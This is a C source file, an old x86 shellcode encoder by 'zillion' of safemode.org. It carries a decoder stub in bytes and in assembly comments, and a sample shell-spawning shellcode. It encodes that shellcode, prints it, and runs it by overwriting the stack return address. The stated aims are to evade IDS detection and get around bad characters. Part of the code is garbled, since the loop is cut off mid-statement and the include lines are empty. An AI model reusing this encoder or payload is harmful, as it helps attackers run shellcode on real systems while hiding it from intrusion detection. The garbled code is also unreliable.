#include #include /* * Shellcode encoder 0.1 by zillion (safemode.org) * * Wish list : * ----------- * * - Make the decoder polymorphic * - Add OS detection (see safemode) * * How to use it : * --------------- * * Replace the shellcode with any shellcode, compile this file * and execute it. The decoder is OS independent and can thus be * used for any OS on Intel. The purpose: * * - Lower chance of IDS detection * - Counter difficult characters * - Confuse sans students ;-) * * The decoder : * ------------- * * jmp short go * next: * * pop esi * xor ecx,ecx * mov cl,11 * change: * sub byte [esi + ecx - 1 ],11 * sub cl, 1 * jnz change * jmp short ok * go: * call next * ok: * * */ void execute(char * data); int main() { char decoder[] = "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01" "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff"; char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd" "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"; char tmp; char *end; int size = 53; int i; int l = 15; for(i=0;i= 15) { if(i) printf("\"\n"); printf( "\t\""); l = 0; } ++l; printf("\\x%02x", ((unsigned char *)end)[i]); } execute(end); free(end); } void execute(char *data) { int *ret; ret = (int *)&ret + 2; (*ret) = (int)data; }